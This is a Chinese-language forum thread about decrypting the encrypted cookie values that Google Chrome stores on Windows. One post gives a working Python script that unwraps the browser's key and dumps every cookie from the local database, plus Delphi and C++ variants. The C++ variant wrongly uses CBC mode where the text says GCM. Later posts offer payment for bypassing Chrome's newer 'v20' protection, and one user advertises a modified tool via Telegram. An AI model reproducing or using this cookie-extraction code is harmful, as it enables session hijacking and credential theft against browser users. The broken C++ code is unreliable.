能力值:
( LV2,RANK:10 )
|
-
-
2 楼
v10开头的数据(老版本)的解密方法如下:
方法一:使用Python脚本 Python脚本可以用来解密Chrome的encrypted_value字段。以下是一个示例代码,使用pycryptodome库来解密数据:
Python
import os import json import base64 import sqlite3 from Crypto.Cipher import AES import win32crypt
def get_encryption_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = json.loads(f.read()) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) return win32crypt.CryptUnprotectData(key[5:], None, None, None, 0)[1]
def decrypt_data(data, key): try: iv = data[3:15] data = data[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(data)[:-16].decode() except Exception as e: print(f"Error: {e}") return None
def main(): key = get_encryption_key() db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Network", "Cookies") conn = sqlite3.connect(db_path) cursor = conn.cursor() cursor.execute("SELECT host_key, name, encrypted_value FROM cookies") for host_key, name, encrypted_value in cursor.fetchall(): decrypted_value = decrypt_data(encrypted_value, key) print(f"Host: {host_key}, Name: {name}, Decrypted Value: {decrypted_value}")
if __name__ == "__main__": main() AI 生成的代码。仔细查看和使用。 有关常见问题解答的详细信息. 方法二:使用Delphi代码 如果你更熟悉Delphi,可以使用以下代码来解密encrypted_value字段:
uses SysUtils, Classes, Windows, EncdDecd, DCPcrypt2, DCPblockciphers, DCPaes;
function DecryptChromeCookie(const EncryptedValue: TBytes; const Key: TBytes): string; var Cipher: TDCP_AES; IV, Data: TBytes; begin SetLength(IV, 12); Move(EncryptedValue[3], IV[0], 12); SetLength(Data, Length(EncryptedValue) - 15); Move(EncryptedValue[15], Data[0], Length(Data)); Cipher := TDCP_AES.Create(nil); try Cipher.Init(Key[0], 256, @IV[0]); Result := Cipher.DecryptString(Data); finally Cipher.Burn; Cipher.Free; end; end;
procedure Main; var Key, EncryptedValue: TBytes; DecryptedValue: string; begin // 获取加密密钥和加密值 Key := GetEncryptionKey(); EncryptedValue := GetEncryptedValueFromDatabase(); // 解密 DecryptedValue := DecryptChromeCookie(EncryptedValue, Key); Writeln('Decrypted Value: ', DecryptedValue); end;
begin Main; end.
方法三:使用VC代码 如果你更熟悉VC,可以使用以下代码来解密encrypted_value字段:
#include <windows.h> #include <wincrypt.h> #include <iostream> #include <vector> #include <string> #include <sqlite3.h> #include <openssl/aes.h>
std::vector<BYTE> GetEncryptionKey() { // 获取加密密钥 // ... }
std::string DecryptChromeCookie(const std::vector<BYTE>& encrypted_value, const std::vector<BYTE>& key) { AES_KEY aes_key; AES_set_decrypt_key(key.data(), 256, &aes_key);
std::vector<BYTE> iv(encrypted_value.begin() + 3, encrypted_value.begin() + 15); std::vector<BYTE> data(encrypted_value.begin() + 15, encrypted_value.end());
std::vector<BYTE> decrypted(data.size()); AES_cbc_encrypt(data.data(), decrypted.data(), data.size(), &aes_key, iv.data(), AES_DECRYPT);
return std::string(decrypted.begin(), decrypted.end() - 16); }
int main() { std::vector<BYTE> key = GetEncryptionKey(); std::vector<BYTE> encrypted_value = GetEncryptedValueFromDatabase();
std::string decrypted_value = DecryptChromeCookie(encrypted_value, key); std::cout << "Decrypted Value: " << decrypted_value << std::endl;
return 0; }
提示 获取加密密钥:你需要从Chrome的Local State文件中获取加密密钥,并使用win32crypt.CryptUnprotectData解密。 获取加密值:从Chrome的SQLite数据库中获取encrypted_value字段的数据。 解密数据:使用AES-GCM模式解密数据。
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
mb_tdhyvzqe
v10开头的数据(老版本)的解密方法如下: 方法一:使用Python脚本Python脚本可以用来解密Chrome的encrypted_value字段。以下是一个示例代码,使用pycr ...
新版本的是以"v20"开头,我发现新老版本的,同样的字符串加密后的数据长度完全一样的,于是判断改动很小。 有朋友可以帮忙一下吗?不会让您白辛苦的~
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
这是新老解密前数据对比,解密后为字符串"1",可以直接看到加密的数据长度一样
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
https://github.com/chromium/chromium/blob/1298d6f0a9190d40718918fa0776e57d953a5810/chrome/elevation_service/elevator.cc#L70 似乎是这个加密
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
您好朋友,这个是很久以前的加密方式,后来就更改为AES加密了
|
能力值:
( LV2,RANK:10 )
|
-
-
7 楼
mb_tdhyvzqe
您好朋友,这个是很久以前的加密方式,后来就更改为AES加密了
这个里面有v20的头,说不定他们是在这个基础上改的
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
gailium
这个里面有v20的头,说不定他们是在这个基础上改的
不是的,这个是CryptProtectData加密算法,很早开始就被抛弃了。 有朋友能帮忙解决吗?高新酬谢
|
能力值:
( LV2,RANK:10 )
|
-
-
9 楼
从chromium开源代码里面找出来了大概问题所在位置,请问谁能帮忙下,高新酬谢
|
能力值:
( LV2,RANK:10 )
|
-
-
10 楼
我感觉v20版本的,应该只是是把Key再这里重新加密了一下,其它都没变
Key是指:从文件“Local State”读取后Base64Decode后再调用CryptUnprotectData解密后的Key,
因为v10的版本和v20的,同样的数据,加密后长度是完全一样的
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
我感觉你直接开个悬赏的帖子会比较快能获得答案.
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
saloyun
我感觉你直接开个悬赏的帖子会比较快能获得答案.
你好,因为 【"付费问答"关闭新帖功能,悬赏请到[求助问答]】所以只能来这里, 我一开始也是想在“"付费问答"”发布的
|
能力值:
( LV1,RANK:0 )
|
-
-
13 楼
tg:https://t.me/MinKint 我有改好的版本
|